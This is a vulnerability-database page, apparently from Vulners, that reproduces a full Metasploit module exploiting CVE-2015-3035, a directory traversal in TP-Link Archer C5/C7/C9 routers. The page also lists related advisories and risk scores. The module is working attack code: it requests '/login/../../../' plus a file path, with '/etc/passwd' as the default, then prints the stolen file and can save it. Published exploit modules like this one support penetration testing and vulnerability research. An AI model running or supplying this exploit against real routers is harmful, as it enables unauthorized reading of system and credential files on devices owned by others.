Lucene search
+L

Archer C7 Directory Traversal

🗓️ 31 Aug 2024 00:00:00Reported by Nick Cottrell, Anna Graterol, Mana Mostaani, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 172 Views

Exploits directory traversal vulnerability in Archer C7 routers

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2015-3035
22 Apr 201500:00
–attackerkb
bdu_fstec
BDU FSTEC
TP-Link Archer C5 C7 C8 C9 TL-WR740N TL-WR741ND TL-
6 Mar 202300:00
–bdu_fstec
circl
Circl
CVE-2015-3035
5 Jun 202316:20
–circl
cisa_kev
CISA KEV Catalog
TP-Link Multiple Archer Devices Directory Traversal Vulnerability
25 Mar 202200:00
–cisa_kev
cnvd
CNVD
Multiple TP-LINK Product Catalog Traversal Vulnerability
14 Apr 201500:00
–cnvd
cve
CVE
CVE-2015-3035
17 Apr 201518:00
–cve
cvelist
Cvelist
CVE-2015-3035
17 Apr 201518:00
–cvelist
kittysploit
KittySploit
TP-Link Router LFI (CVE-2015-3035)
5 Oct 202614:20
–kittysploit
kittysploit
KittySploit
TP-LINK - Local File Inclusion Detection
28 Jul 202611:27
–kittysploit
metasploit
Metasploit
Archer C7 Directory Traversal Vulnerability
8 Apr 201500:00
–metasploit
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Deprecated  
moved_from 'auxiliary/scanner/http/archer_c7_traversal'  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Archer C7 Directory Traversal Vulnerability',  
'Description' => %q{  
This module exploits a directory traversal vulnerability in the PATH_INFO found at /login/  
on TP-Link Archer C5, C7, and C9 routers of varying versions.  
},  
'References' => [  
[ 'BID', '74050 ' ],  
[ 'CVE', '2015-3035' ]  
],  
'Author' => [ 'Nick Cottrell <ncottrellweb[at]gmail.com>', 'Anna Graterol <annagraterol95[at]gmail.com>', 'Mana Mostaani <mana.mostaani[at]gmail.com>' ],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2015-04-08',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => []  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('FILE', [true, 'The file to retrieve', '/etc/passwd']),  
OptBool.new('SAVE', [false, 'Save the HTTP body', false]),  
]  
)  
end  
  
def check  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/'  
})  
return Exploit::CheckCode::Unknown unless res  
  
device_title = res.get_html_document&.at('//title')&.text  
if device_title =~ /Archer C\d/  
return Exploit::CheckCode::Appears("Target device '#{device_title}'")  
end  
  
Exploit::CheckCode::Safe('Target does not appear to be an Archer Cx router.')  
end  
  
def run  
uri = normalize_uri('/login/../../../', datastore['FILE'])  
print_status("Grabbing data at #{uri}")  
res = send_request_raw({  
'method' => 'GET',  
'uri' => uri.to_s  
})  
  
fail_with(Failure::Unreachable, 'Connection failed') unless res  
  
fail_with(Failure::NotFound, 'The file does not appear to exist') if res.body.to_s.include?('Error 404 requested page cannot be found')  
  
# We don't save the body by default, because there's also other junk in it.  
# But we still have a SAVE option just in case  
print_good("#{datastore['FILE']} retrieved")  
print_line(res.body)  
  
if datastore['SAVE']  
p = store_loot(  
'archer_c7.file',  
'application/octet-stream',  
rhost,  
res.body,  
::File.basename(datastore['FILE'])  
)  
print_good("File saved as: #{p}")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.5
CVSS 27.8
EPSS0.90643
172